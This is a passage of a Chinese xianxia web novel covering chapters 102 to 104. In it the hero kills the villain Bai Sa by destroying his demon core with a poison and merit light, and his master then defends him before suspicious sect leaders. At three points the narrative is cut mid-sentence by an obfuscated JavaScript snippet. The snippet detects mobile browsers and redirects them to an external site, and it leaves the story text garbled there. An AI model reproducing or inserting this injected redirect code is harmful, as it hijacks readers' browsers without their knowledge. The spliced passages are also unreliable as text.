最重要的是……它得自愿成为只能依靠战斗本能游荡在世间的怪物。 吞下魔核,转化为魔将需要半个月的时间。 跪倒在地面的男人浑身泛起了诡异的灰白,皮下生出蚯蚓般扭曲的青筋。 白卅痛苦到了极点,死死瞪着地下室的夜明珠。 “我就是死,也要拉上他们那些肉畜垫背!” 平地响起了一声惊雷。 姜洛玉在三清秘境里看了看天,对着姜景安露出抱歉的笑来。 放下手中黑棋,直接去了惊雷发生的地方。 仙灵湖上,飘着一堆被雷劈得翻肚皮的灵鱼。 姜洛玉随手吸了水里的天雷余韵,灵鱼重新活蹦乱跳。拍了拍手上的水珠,接过那伽递来的新鲜出炉的法宝。 长弓配上重箭,箭头泛着不详的黑光。 “境主,已经按照你的吩咐把毒放进去了。”那伽说完颇有些龇牙咧嘴。 这毒名为灭心毒。是垢姬这些天找遍了整个秘境的毒物,和凝星他们钻研了七天七夜才炼制出来对付惑心蔁的奇毒。 这毒致死的方法是吸收宿主“所有”的生命力。包括分身、断肢,放在白卅身上,自然也包括孢子和菌丝。 不过这东西吸取的生命力是有条件和范围的,若是分身得是正在使用的,断肢需要刚刚断掉,菌丝和孢子也得是刚释放出去的。 范围以本体为圆心,精准打击一丈之内所有和本体有关的东西。 在将灭心毒炼制成法宝后,覆盖范围扩大到了和仙盟一样大小。 不过这种吸取生命力的毒药过于逆天,炼制成法宝更不用说了。那伽刚才废了一百多个极品法宝才堪堪挡下所有天雷。 姜洛玉拿着弓箭看了又看,很是满意,走了两步出现在落雪峰峰顶。 丛明雪坐在石台上,察觉到有人过来,睁开眼。瞳孔一颤,差点被金色弓箭晃得又把眼睛闭上。 姜洛玉意识到这东西着实有些显眼,心念一动改成了黑色,坐到丛明雪对面的石凳上。 “外界如何?” 丛明雪:“在计划中,按照你的方法办了,现在整个修真界都看清了白卅的嘴脸。” 各掌门清扫了门派内的仙盟余孽。加班加点炼制的法宝也都一并送去了各洲,净化那些被菌丝侵占了的人,还有低级傀儡。 至于那些体内孢子尚存,还未破土而出的人,由姜洛玉倾情提供对策,不仅将仙盟所作所为摆在门派里外用喇叭和留影石循环播放,还让修真书局大肆印发报刊洒得满大街都是。 更联合了说书先生在大小城池开启讲演,无数散修在每个偏僻小镇、村落张贴告示免费解答大家对于仙盟的疑问。 就连消息闭塞的扶桑、西洲也让送去了关于仙盟的消息。 致力于全方位、多层次让修真界众人感受到仙盟罪行罄竹难书,被刺激到三观重塑晕上一回也就能恢复正常。 姜洛玉点点头,觉出些不对:“白卅没有应对的动作吗?” 丛明雪:“仙盟依旧闭门谢客,除却扶桑、西洲魔修众多自成一界,消息流通缓慢不知内幕,其它六洲并未有傀儡现身作乱。” 这让号召全修真界散修打起十二分精神应对后手的散修盟盟主十分不解。 姜洛玉也很是不解。按理来说事到如今,白卅不想成为瓮中之鳖肯定要做出反扑的举动。 现在这么安静……他总感觉这人憋了一坨大的。 102.穿越第一百零二天 风过树梢,吹落了青松顶部的积雪。 雪打在左肩的发丝上,带来格外清新的气息。 姜洛玉抖了抖衣服,蹙眉唤出玄衣剑,直接站了起来:“不成,总有种不好的预感。” “我得去一剑捅死那狗东西。” 丛明雪右眼皮跳了跳,道:“围剿定在三天后,届时排行榜前二十的门派都会派出掌门或是太上长老,来助力天正宗围剿仙盟。” 姜洛玉摇头:“动手要趁早。等白卅缩在仙盟,靠我们不知道的邪术发育成完全体,那些人去就不是围剿了,而是送上门给他当点心。” 变成剑穗的无相球闻言来回晃了晃,十分赞同姜洛玉的想法。 天色逐渐暗沉,空中飘起了雪花。 姜洛玉凑到丛明雪身边,扯着他的袖子软了态度:“让天正宗集结修真界各大门派合力围剿,说到底不过是图一个师出有名,让全修真界看一看白卅的真面目。” “如今我称天下第一也无人敢反驳,再者此行也不是单枪匹马,秘境里还有三百二十七名渡劫灵君随时听从调遣,他们哪一个比不上那些太上长老?” 这话倒说得不错,丛明雪压下心中异样的情绪,握住姜洛玉微凉的手背,道:“你我一同前去。” 姜洛玉“嗯”了一声,笑着在丛明雪表情严肃的脸上亲了一下。 “自然要师尊一同前去。” 说干就干,通知秘境众人开启一级戒备随时准备战斗后,两人当即坐上七宝莲台朝着北洲飞去。 姜洛玉拿出绒布开始擦拭淬了毒的弓箭,直到把上面的每一处角落都擦到反光。 毒药杀的是肉身,而且灭心毒作用下,方圆百里的孢子会在灭心毒下全部死亡,白卅想苟活就得隐蔽着三魂七魄去更远的地方寻找身上带着孢子的宿主。 不过仙盟周围早就被秘密清空没了活物,整个北洲甚至找不到几个身上还带着孢子的人。 量他隐蔽神魂遁逃的功力再深,也抵不过他们手里的搜魂的法宝和秘术。 丛明雪放任聆天剑缠着玄衣剑满莲台乱跑,把擦弓的青年从上到下打量了一遍。 他轻声开口:“白卅若死,下界暂时无忧,我们需要考虑如何飞升了。” 姜洛玉擦弓的手一顿。 这确实是他们在这之后要面对的问题。 假设只有他们发现了幕后之人的所作所为,那么每困于下界一日,六界就危险上一分。 “天塌了有个高的人顶着”这句话根本不存在。 等到六界沦陷后,所有人都会成为幕后之人的“肉畜”。 “我有个办法,只不过……过于惊世骇俗,不一定能成功。”姜洛玉收起弓箭,转过去面对丛明雪。 可一想到自己接下来要说的,又有些不敢抬头看他的脸。 这是他这几天……无意间和白三水商讨出来的办法。 天上地下唯一的白泽,不傻的时候配上周身环绕的白光多了几分神性,不过嘴里说出来的方法却残酷又现实。 丛明雪:“何种办法?” 姜洛玉并未直接回答,而是先列举了其他人:“像白三水、何在夕,他们是没了神格毁了修为直接被踢到下界的,飞升无门。” “你和娘的情况也很特殊,渡劫的时候没了神格,想飞升得先把神格拿回来。” “而我,却是因为渡劫才来到下界的。只要劫数一过修为圆满,自然能够飞升。” 丛明雪想到了什么,抬手捏住对面人的肩膀:“阿玉,把头抬起来。” “看着我说话。” 青年如他所想般抬起了头,却眼神闪躲。 “我的劫数早在恢复记忆那一刻就渡完了,被困此界无法飞升……是因为与你命格相缠。” 姜洛玉被丛明雪盯得有些说不下去,只好闭着眼,一鼓作气说完剩下的话。 “只有斩因果,断命缘。如此,我才能不受束缚,得道飞仙。” 丛明雪葱绿色的瞳孔猛地一颤。 “斩因果,断命缘。” 六个字说起来轻松,又谈何容易? 他们两人早就命格相缠,因果线就更不用说。 真要是斩因果,把他们两个千刀万剐都斩不断,更别提把纠缠了一百多世的命格分开。 简直是天方夜谭。 丛明雪放在姜洛玉肩膀上的手不自觉用力:“我不管你从何处知道的,此法过于惊险,绝不能试。” “总会找到其他办法。” 姜洛玉说完悄悄把眼睛睁开一条缝隙,看见了丛明雪罕见的怒容。捂着左肩“嘶”了一声,趁着对方怔愣松手,直接抱了上去。 他边抱边捂丛明雪的嘴,找补道:“想想而已,杀完白卅再去找其他方法也来得及。” 全速前进下,不到半天时间,两人日落前就抵达了仙盟。 自上而下望去,七星山脉上层林浸染,而仙盟所在因为阵法缘故只能看见大门和零散几座阁楼、校场。 两人靠着无相球的隐蔽功能,乘坐着七宝莲台下降试图凑近门口。 离近了才发现无人把守。 “出事了。” 姜洛玉不敢托大:“那伽、叶望、浮白、阿木托!” “属下在!” 四道身影齐刷刷出现。 浮白看了眼大门上的阵法,果断掏出本命法宝改天笔在门上画了几下。 “吱嘎——” 木门发出了琉璃摩擦的沉闷声响,又在逐渐打开后消失。 门后,是幻色菌丝的海洋。 亭台楼阁倒的倒、塌的塌,死亡的气息裹挟在群蛇乱舞的菌丝里,无数穿着仙盟弟子服饰的白骨随着菌丝起起伏伏。 还有……铺天盖地的孢子。 “闭气,跑!” 话音未落,菌丝和孢子闻声而起掀起滔天巨浪,它们虬结在一起变成数个大手,从四面八方朝着众人飞扑而来! 那伽现身拍出数道结界法宝,堪堪将所有孢子菌丝再度困在了仙盟里。 “轰——” 红楹拍出火莲挡住一只大手,化为火凤原型后吐出了涅槃火。 火势汹涌,几瞬便烧掉了正前方的大手,眼见着就要蔓延到整片菌丝上。 火焰消失了,大手重新出现。 于此同时,垢姬也出现在人堆里,甩出数道剧毒在菌丝上,“嗞拉”声和白烟四起,菌丝大手的动作稍显颓势,不出几秒又恢复原速继续扑来。 眨眼间间,菌丝已经涌到了面前。 逃走已经来不及了,众人只得使出浑身解数应对。 那伽的法宝砸了一堆又一堆,叶望的大刀差点抡出了火星。 浮白的改天笔属于辅助性法宝,打不了架,只能操控着蝴蝶切割菌丝。 至于阿木托,他变成了半鲛人的状态,用死水侵蚀着想要扑到脸上的菌丝。 叶望满脸崩溃:“境主,菌丝太多了!根本砍不完!” 红楹变回人形,靠着手中长枪喷出的涅槃火为自己清理出一片容身之地:“该死,涅槃火居然没用!” 这铺天盖地的菌丝一看就不是好东西,她的涅槃火怎么会没用? 垢姬也焦头烂额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252296|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“毒的作用也微乎其微,只能延长稍许菌丝恢复时间!” “这菌丝有古怪!”姜洛玉一边出招一边吼着。 《正天诛魔剑法》的发招速度达到了极限,日升月落好不热闹。 丛明雪一招归天剑斩断了大片菌丝,结果另一招未起,菌丝又无缝衔接,好似他刚才的剑招根本没砍出去过。 姜洛玉找准机会甩出无相球化出的屏障笼罩住众人:“这么打下去不行,这些菌丝没完没了 。” 屏障给众人带来了喘息的机会,可不出一刻,屏障轰然碎裂。 姜洛玉喷出一口血,顺势一剑扎在菌丝里,这回收剑时掉落的不只是满地菌丝,还有…… 黑漆漆的魔气。 精纯程度和下界魔修的根本不在一个层面,而且还带着一丝熟悉的气息。 白卅的本体能散发出魔气只有两种可能,除了堕为魔修,只能是吞噬魔核转化成了上界魔族! 以魔气的精纯度来说明显是后者。 姜洛玉来不及多想,喊道:“白卅吞了魔核!我们要杀他得先找到魔核!” “和这些纠缠没用,得找机会掏出白卅体内魔核,再把弓箭里的毒扎进去!大家一起前进,千万不要被这些菌丝沾上!” “是,境主!” 望月阁的地下室,莫名发出几声闷响。 原本挤满的菌丝瞬间消失大半儿,剩下的全都扒在墙壁上蠕动着,莫名带着一丝期许。 地面趴着个赤身裸体的男人,浑身幻色,虚幻程度几乎让人无法直视。 不到半刻钟,白卅睁开了眼睛,同样变得虚幻的眼珠动了动,像是不太适应如今的躯体。 有蝼蚁……打搅了他的转化。 白卅穿上了菌丝递来的灰色法衣,动了动鼻子。 他嗅到了三清秘境的气息。这是他体内魔核里残存的一点三清之气告诉他的。 它困于下界多年,已经许久没见过同类了。 白卅突然笑了,笑着笑着捂着嘴流了满脸的泪。 他明白了。 他明白了…… 白卅弯下腰,随手捡起地上玉盒的碎片,哼着樵夫最爱唱的歌,碎片在手腕上轻轻划过。 流出来的不只是血,更多的是菌丝。 血渗进脚底的法阵,残破不堪的阵法像是风烛残年的老人一样亮了一下,又再度熄灭。 “找到你了。” 惨淡的人脸飘在半空,被众人围在中央的姜洛玉瞳孔猛地一缩。 红楹:“半步魔君!” 上界最低等的魔族都视下界之人为蝼蚁,更何况魔君! 姜洛玉当机立断,把除他之外的人都塞进了三清秘境。 “白卅”幻化出手臂,扯起嘴角笑了笑,又幻化出肉身落到地面:“小秘境,想杀我吗?” “你杀不死我的。” 熟悉的口吻听得姜洛玉汗毛倒立,对方身上的威压让他连眼球也转不了。 就像是任人待宰的鱼。 支撑着嘴角的手放了下去,这回真正的白卅露出了真心实意的微笑:“外面那些法宝撑不了多久,等一会儿……我的孢子就能顺着归云海飘向整个修真界了。 “就算你们杀了我的□□,我的三魂七魄也会顺着菌丝和孢子重新成长。” 威压一松。 好机会! 姜洛玉抓准时机唤出弓箭,一口咬碎箭尖,毒液顺着喉管一直流进胃里。 他一把扯住白卅的衣领,恶狠狠道:“我是杀不死你。” “能杀死你的,只有你自己。” 103.穿越第一百零三天 “负隅顽抗!”白卅掐住了姜洛玉的脖颈,力道之大能听见脊椎碎裂的“咔嚓”声。 杀了他。 心底有一个声音在疯狂叫嚣着,手上的力道不断加重,甚至想要催动灵力。 渡劫修士光被捏断脖子是死不了的。 打碎他的丹田,震断他的经脉,抽出他的三魂七魄放进熔炉里受无间地狱之苦…… “不可逾越。” 空灵的人声宛如九天玄钟嗡鸣,白卅神魂巨震,喷出一口夹杂着无数孢子的黑血,手上的力道松了下去。 姜洛玉虽然不知道为何白卅后退几步开始喷血,但刚才那股杀意倒是显而易见。 有人在阻止白卅对他动手。 回忆起刚才白卅嘴里和“大人”如出一辙的语调,姜洛玉嗤笑一声,调动了三清秘境的本源之力。 “你怎么不动手?” “是不想吗?” 嘴角渗血的青年消失不见。白卅低下头,看见了一滩粘稠的液体,上面还在不断冒出墨绿色的水泡。 想起刚才姜洛玉吞下的东西,他突然升起一股危险的感觉。 这毒……似乎能伤到他。 变成毒液的过程并不好受,弓箭扎进人的身体就会爆开成毒雾。 姜洛玉吞下灭心毒的那一瞬,整个人差点没被吸干,好在里面最毒的原材料出自三清秘境,才没让他被直接毒死。 《太一万法无相诀》同一时刻发挥了应有的功效。 姜洛玉控制着把五脏六腑都同化成了灭心毒,这才得以维持人形和白卅对峙。 现在趁着白卅负伤,正是实行计划的好时机。 姜洛玉瞄准白卅僵硬不少的肉身,控制着毒液一个飞扑! “哗啦——” 白卅的肉身皮开肉绽,从内里开始不断萎缩。 里面没用魔核,果不其然,来的不是本体。 灭心毒作用在分身上无法发挥应有的效果。 姜洛玉冷哼一声,继续维持着毒液状态游走在仙盟,试图寻找到白卅藏身之地。 一路上触碰到的孢子和菌丝全都瞬间萎靡成了飞灰。 那些东西知道了地上这滩“黑色凉粉”的威胁性,于是退而求其次让出了一片空地,小心翼翼围在姜洛玉身边跟着他的节奏前进。 走了几丈远,姜洛玉突然意识到自己得报个平安,于是接上了和秘境的联系。 乌泱泱如同菜市场的焦急问候涌进神识。 “境主!你怎么样?” “境主你太胡闹了!” “境主……” 姜洛玉虽然暂时没有耳朵这种东西,还是忍不住幻化出小手做出捂耳的动作。 “暂时没事,来的不是白卅本体。。” 三清秘境内,离昼示意身后众人安静下来,这才开口:“境主,白卅现在并未成功进阶为半步魔君,处于转化的虚弱期不能轻易出手,刚才的菌丝只不过是强撑而已。” 姜洛玉:“我正打算趁这个机会除掉他。” 最开始的菌丝肉搏就能说明问题,只不过因为那东西恢复能力和肉身过于强悍,导致他们放错了关注点。 白卅出现刹那他就看明白了,对方大概不方便动手。 否则以半步魔君的修为,自己甚至来不及把丛明雪他们放进三清秘境。 “你们记得随时听候指令,一会儿大概需要你们为我输送灵力。”姜洛玉并没有给对面众人说话的机会。 “我有——” “姜洛玉。” 如珠落玉盘的声线响起,透着股寒意。 姜洛玉不存在的心脏颤了颤。 丛明雪都气到叫他大名了。 丛明雪面色沉得能滴出水:“你一个人太危险,放我们出去。” 红楹被丛明雪散发的冷气冻得一哆嗦,也附和道:“对啊境主,你把我们关在秘境里也不是个事儿。” “就算我们能给你补充灵力,你一次性也吸收不了这么多啊,放我们出去还能帮你分担压力。” 姜洛玉径直朝着望月阁走去,否定道:“你们出来才是成了明晃晃的靶子。” “白卅他现在……不能杀我。三清秘境对幕后之人有大用,我一死,三清秘境就会分崩离析被天道回收。” “但你们对他来说,却成为威胁我的工具。” 丛明雪:“幕后之人又出现了?你——” “他已经走了。”姜洛玉安抚着,“而且我有办法杀白卅。” “信我。” 没等三清秘境众人再回答,姜洛玉干脆利落地切断了联系。 走到望月阁附近,姜洛玉清了清嗓子,大喊道:“白卅,你就是个缩头王八,半步魔君了还缩在自己的龟壳里不出来。” “垃圾,废物!” 思考几秒,姜洛玉又幻化成了樵夫的声音:“你连我都救不了!你更是个懦夫,根本不敢接受我们死去的事实,还要折磨我们的尸身,让我们死后也不得安宁!” “轰隆——” 巨响过后,本就歪歪斜斜的望月阁彻底坍塌。 嘴炮貌似有效果。 可以肯定白卅现在智商不高。 但姜洛玉察觉到了一丝意料之外的气息,停在原地静静等着。 碎瓦噼里啪啦掉了满地,身躯臃肿的怪物从废墟中缓缓升起,比起五层的望月阁还要高上不少。 它没有头,也没有四肢,说是活物,更像是个巨大的茧,又或者是什么菌包。 恐怖的威压传来,姜洛玉一个恍神,再看去……密密麻麻的眼睛遍布在肿胀苍白的皮肉之上。 姜洛玉突然想起了归云海上的哭婴万眼鱼,末了又记起了妖界的神胎。 他猜幕后之人一定不是人,而是什么审美奇葩的妖兽。 面前这东西丑得简直让人不忍直视。 “吼——!!!” 庞然巨物注意到了地面格格不入的漆黑液体,裂开“嘴”发出了震耳欲聋的嚎叫。 怪物张嘴刹那,姜洛玉确定了气息的身份,这东西身体里居然有三清之气存在! 那丝极其微弱的气息,若不是他自己就是个三清之气,根本发现不了。 “爹……你才是懦夫……村民辱你,你从不反抗,我替你教训他们,你却说我恶贯满盈……” 怪物身上冒出了一张张人脸,全部都是白卅的脸,他们挤在一起如同皱巴的鸡皮。 如诉如泣的哀怨人声带着直击灵魂深处的能力。 “幸得大人赏识……我才有了今天……今天!” “大人……我不过是你的一颗棋子!我只是……” 姜洛玉没用轻举妄动,他在思考要不要直接实施计划。 对面的怪物虽然体积大了些,但气息比起之前的分身强不上多少。 他猜测应该是他们的到来打断了白卅的转化,让他不得不提前“破茧”,成了这样一副不人不鬼的模样。 “吼——!!” 更加响亮的吼叫从无数张人脸里冒了出来。 不只是叫声,还有不计其数的菌丝! 它们纠缠在一起,直直朝着姜洛玉抓来! 身边瑟缩的菌丝也加入战场,姜洛玉只得将自己的体积不断压缩再压缩,变成了拳头大小。 除却肉身变做的外壳,正中间悬浮着真正的灭心毒。 彻底被菌丝笼罩刹那,姜洛玉再次催动《太一万法无相诀》,外壳变成惑心蔁的菌丝,携带着灭心毒直接融了进去! 菌丝虽然没用脑子,但功法的弊端让它认出新来的菌丝不是“自己人”,开始疯狂挤兑姜洛玉,想把他吐出去。 与此同时,魔核里的三清之气却开始躁动,想要接纳这来之不易的同类! 成功和三清之气搭线,姜洛玉瞬息之间就到了魔核附近。 魔核有鸡蛋大小,外表圆润异常,散发着淡淡的黑气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255997|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 隐蔽在魔核内的三清之气传来亲切的呼唤。 姜洛玉似乎听见它在说——“救救我。” 又或者是……“吃掉我。” 姜洛玉并不打算救这个生了模糊灵智,还打算夺舍自己的同类。 “助我一臂之力!” 一声令下,秘境严峻以待的三百渡劫灵君一齐发力,将自身灵力反哺到了秘境之主体内! 澎湃的灵力迸发全身,玄衣剑凭空出现,无相球更是变成了聆天剑悬立半空。 没有丝毫犹豫,姜洛玉操控菌丝化作两道模糊人形,手握双剑。 “日月擎天——” 日月霎时间同时在挤满菌丝的茧内升起,爆发出极致的热浪和寒气! “解天!” 天崩地裂的绝望气息猛地出现,魔核似乎发出了哀鸣! 双剑合璧,天道杀机与天雷淬火环绕双剑之上,狠狠刺进魔核! 魔核之上,肉眼无法观察的红光闪过。 姜洛玉恍惚一瞬,察觉到魔核贼心不死,随即调动秘境内的本源之力灌了进去。 本源之力日积月累,本质上属于神界的力量,若非要劈碎的这东西是魔核,他在下界根本无法调遣。 “咔嚓——” 魔核几方攻击下应声而碎,铺天盖地的魔气四散开来。 眼看着这些魔气就要远去寻找宿主,若是任其肆虐,怕是修真界又要横遭劫难。 姜洛玉不做多想,瞬间将体内的灭心毒弹了出去—— 没了魔核支撑,毒药瞬间发挥功效炸成了毒雾,幻色菌丝像雪一样开始融化。 “给我聚!” 伴随着喊声,姜洛玉变成了魔气。 空中的魔气来回奔走着,很是迷惑为何突然多了个命令它们的“老大”。 虽然老大的气息很奇怪,但没有脑子魔气很快就围绕在姜洛玉变成的魔气身边。 聚来之后呢,他能做什么? 本源之力他现在只能调动一次,拿什么东西能灭了这些魔气? 姜洛玉大脑飞速旋转……功德金光! 他在现世的时候净化浊气有功,那个世界的天道赐了他功德金光! 浩瀚如海的金光瞬间将魔气吞噬,里面的三清之气发出不甘的嘶吼。 “嗷——!” 一刻钟后,姜洛玉被千疮百孔的怪物吐了出去。 半空恢复人形才后,他知后觉这副身体里的经脉摇摇欲坠,眼看着就要成为残废。 怪物的身体逐渐缩小,哀嚎的人脸也越来越少。 “不可能不可能……啊啊啊啊!” 不出几息,怪物重新变回了白卅的模样。 他瞪着天,浑身抽动,喉咙里不断涌出血沫。 纷飞的孢子生机全无,看起来就像是一场彩色的大雪。 两人之间仅仅隔着不足半米的距离。 姜洛玉趴在地上呸了一口,吐出嘴里的血沫,爬了两下掐住白卅的脉门。 禁锢神魂的法术生效,灵力在里面走了一圈,却发现白卅就连三魂七魄也在缓缓融化。 “呵……” 白卅轻笑了一声,用尽最后力气侧过头,死死盯着姜洛玉沾血的脸。 “我诅咒你……” “不得善终。” 姜洛玉毫不在意:“安心去死吧。” 纷纷扬扬的雪从空中飘落,和孢子融在一起后变成了彩色的雪片,断壁残垣折射出诡异的彩光,外面的太阳终于照了进来。 被那双金色的眼睛盯得发毛,姜洛玉替白卅的尸身合上了双眼,似有所感,抬起了脑袋。 天空飘着一堆渡劫灵君,为首之人正是尘极道君。 姜洛玉缓缓露出礼节性的微笑,虚虚道:“诸位……来得有些晚了。” “魔物!” 灵剑阁阁主大喝一声,流火长剑脱手,直奔地面浑身黑气的青年飞去! 104.穿越第一百零四天 灵剑上的流火里夹杂着赤羽,随着剑身出鞘纷纷落下。 姜洛玉:“……?!” “铿——” 千钧一发之际,雪色身影猛然出现,一剑将其击退。 看见熟悉的身影,姜洛玉松了一口气,放心的向后倒去,果然倒在了丛明雪怀里。 他这才发现自己对三清秘境的封锁不知道什么时候消失了,丛明雪作为挂名的副境主,自然可以随意进出。 丛明雪简单探查了一下姜洛玉身上的伤,几近破碎的经脉让他甚至不敢再做出其他动作。 “阿玉……” 只是击碎个魔核,怎么会受了这么重的伤? 不过经脉看似摇摇欲坠,却有本源之力堪堪护着,暂时没有生命危险。 可他总觉得哪里不对。 姜洛玉周身渐渐散去的魔气,似乎…… 香风袭来,姜洛玉侧过头,看见了一张姣好的面容——是迦南月。 迦南月颤着手碰了碰姜洛玉的手腕,被经脉的情况惊得红了眼:“玉儿你……怎么会这样?” 两人提前行动并未告知外人,对内不仅瞒着姜家众人,迦南月也是一无所知。 姜洛玉本以为三天不到就能将白卅解决,不曾想……不仅过了时间,自己还变成了现在这副模样。 有些不好意思,咳了咳:“娘,我没事。离预定的围剿时间过去几天了?” 迦南月快速道:“三天。尘极见药辛没了影子,硬着头皮带我们过来围剿,结果被道领域挡在了外面,领域消失就看见你了。” 空中众人神色各异,唯有亲子被魔物蛊惑惨死的灵剑阁阁主歇斯底里。 “风止你老糊涂了?还是这么大年纪了想老牛吃嫩——” “这是我儿子,你个王八嘴巴放干净些!” 迦南月身形一闪,扯着灵剑阁阁主的衣领扇了下去。 “啪——” 灵剑阁阁主喷出一口血,狼狈不堪地捂着脸震惊在半空。 尘极道君倒吸一口凉气,心神巨震:“儿子?!” 姜洛玉怎么会是……迦南月的孩子? 众人对峙间,丛明雪终于发现姜洛玉经脉里和本源之力还有灵力混杂在一起的魔气。 魔气阴冷,又一动不动,不仔细观察根本发现不了。 他吸来地面四分五裂的魔核,神色复杂地看着在上面熟悉的功德金光。 “师尊……你在看什么?” 姜洛玉半眯着眼睛,有些看不清东西,想抬手却被人按下手臂。 丛明雪:“别乱动,你体内魔气未消。” 姜洛玉点了点头,听得似懂非懂。 他现在浑身上下冷得要命,就连思维也变得迟钝,晕着脑袋本能地往丛明雪怀里缩了缩寻觅热源。 “我没骗你吧。我真的有办法咳咳……杀白卅,狗天道还是不肯给我功德。” 丛明雪握紧了魔核,而后又伸手拂去怀里人脸上汗湿的发丝。 “别睡,我送你去疗伤。” 姜洛玉扯着丛明雪的衣服,软着声线道:“不行,我现在浑身魔气。他们要是误会了准备群殴你怎么办?” 迦南月:“还有我在。玉儿你先去疗伤。” 她揍了一顿灵剑阁阁主,把人打得一声不吭。又担心姜洛玉的伤势,只好暂时不去和那个疯子计较,回到了姜洛玉身边。 灵剑阁阁主这边注意到丛明雪和姜洛玉过分亲密的举动,往昔种种涌上心头。 他恨铁不成钢道:“仙尊你不要被魔物蒙蔽双眼,这魔物修为已有渡劫,怎么可能是你那死去的二徒弟!” 魔物就该被处死,不让它们有任何蛊惑世人的机会! 姜洛玉:“……” 提升太快又不是他的错。 姜洛玉刚想坐起来和灵剑阁阁主好好探讨一番何为“气运惊人”,结果脑中一阵天旋地转,眼前黑了又黑。 晕倒前,他一把握住丛明雪的手小声说:“师尊我有点晕,先睡一会儿……” 世界一片漆黑。 丛明雪瞳孔缩了缩,快速确认姜洛玉只是脱力晕了过去,打开隔音结界:“母亲,我先送你和阿玉回秘境。” “这里交给我。” 姜洛玉失去意识,他作为副境主能代为放人进出。 迦南月:“不成,我留下来陪你,那群老东西不要脸得紧。” 丛明雪:“不必,您不知前因后果,此处留我便好。” 见丛明雪坚持,迦南月又确实担心姜洛玉的伤势,于是便带着人进了三清秘境。 众人并不惊讶两人消失,毕竟到了渡劫修士的修为,自造一方小世界不成问题。 但姜洛玉身上的魔气是切切实实的。就算地上还有另一滩充斥着魔气的碎屑,不解释清楚他身上魔气的原因,依旧不能服众。 尘极道君犹豫片刻,道:“仙尊您……” “修为是因为得到了机缘,至于是何种机缘,无可奉告。” 丛明雪起身,缓步走到白卅尸身旁边。 此话一出,在场众人沉默片刻,终于有人忍不住开口。 天心门门主:“当初修真大比,我们眼睁睁看着他被魔气吞噬,过后就连神魂碎片也没找到。仙尊又怎敢确定他不是什么伪装技巧高超的魔物?又或是被魔族策反特意放回来扰乱修真界的奸细?” “就算他真的侥幸逃脱,那刚才满身魔气又作何解释?” 金顶殿殿主:“仙尊万万不可助纣为虐!放他出来让大家好好审讯查验一番,没有问题自然无话可说。” 伏龙谷谷主见缝插针:“都说仙尊修无情之道视万物平等,为何偏偏包庇一个可能是上界魔物的弟子?” “此子不逆之心早就见了端倪,莫不是仙尊与那魔物早就暗通款曲——” “住口!” 丛明雪一剑抛出,擦着最后说话的伏龙谷谷主耳侧飞过,恐怖的剑意让干瘦的老人腿软了软。 他扫过刚才发声的几个修士,都是前几宗门的人,其中不乏和天正宗有过节的。 丛明雪冷着脸三指对天,道:“本尊以至道为誓,姜洛玉绝无半点可能是魔族奸细。” “相反,他救了整个修真界。” “轰隆——” 天道誓言已成,而且以自身大道立誓,若是有半句含糊不清的假话都会道心破碎。 众人见丛明雪好好站在那儿,没有丝毫重伤的样子,大部分人也都信了这些话,只有少部分人仍然揣测丛明雪是不是有什么办法骗过天道。 丛明雪:“尔等若是再咄咄逼人,本尊就要怀疑你们当中有魔族探子了。” “不知尔等又是否愿意让诸位道友探查一番,以证清白之身。” 各怀鬼胎的人群一阵死寂,毕竟枪打出头鸟。 “探查”两个字说的好听,实则上,从里到外一套搜查下来人也就半废了。 吃饱了撑得愿意让人探查,来证明自己不是魔族派来的探子。 尘极道君混乱的大脑成功清明,硬气道:“你们也看见我师叔刚才受了重伤,根本撑不下来探查的法术,说要探查的是何居心?” 人群里,伏龙谷谷主缩了缩脑袋。 丛明雪这才将真相道来:“魔气出自白卅体内魔核。先前白卅面对各大宗门的清扫毫无反应,我二人猜测他极有可能在背后做一些见不得人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264442|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动作,恐生异变,于是前来探查。” “果不其然,白卅已然决定拼死一搏,试图转化为半步魔君为祸世间。这尸体和碎掉的魔核便是证据。” “若非姜洛玉力挽狂澜不仅击碎魔核,还献出自身功德净化魔气,落得魔气入体经脉将碎,修真界现在恐怕生灵涂炭魔物四起。” 众人看了看地面的尸体,还有碎掉魔核上面明显的功德金光,哑口无言。 功德金光每个人的都不一样,取出一点追本溯源就能找到主人,丛明雪既然这么说了,十有八九都是真的。 至于那半步魔君修为,地面的尸体即使毫无生机,依旧能感受到一丝异样。 观妙禅师率先开口:“佛宗相信仙尊所言。来前老衲曾向求了一卦,卦象所言吉凶未卜,吉变数就在西北方向上,且木力旺盛。” “如今想来,变数正是单木灵根的姜小友。” 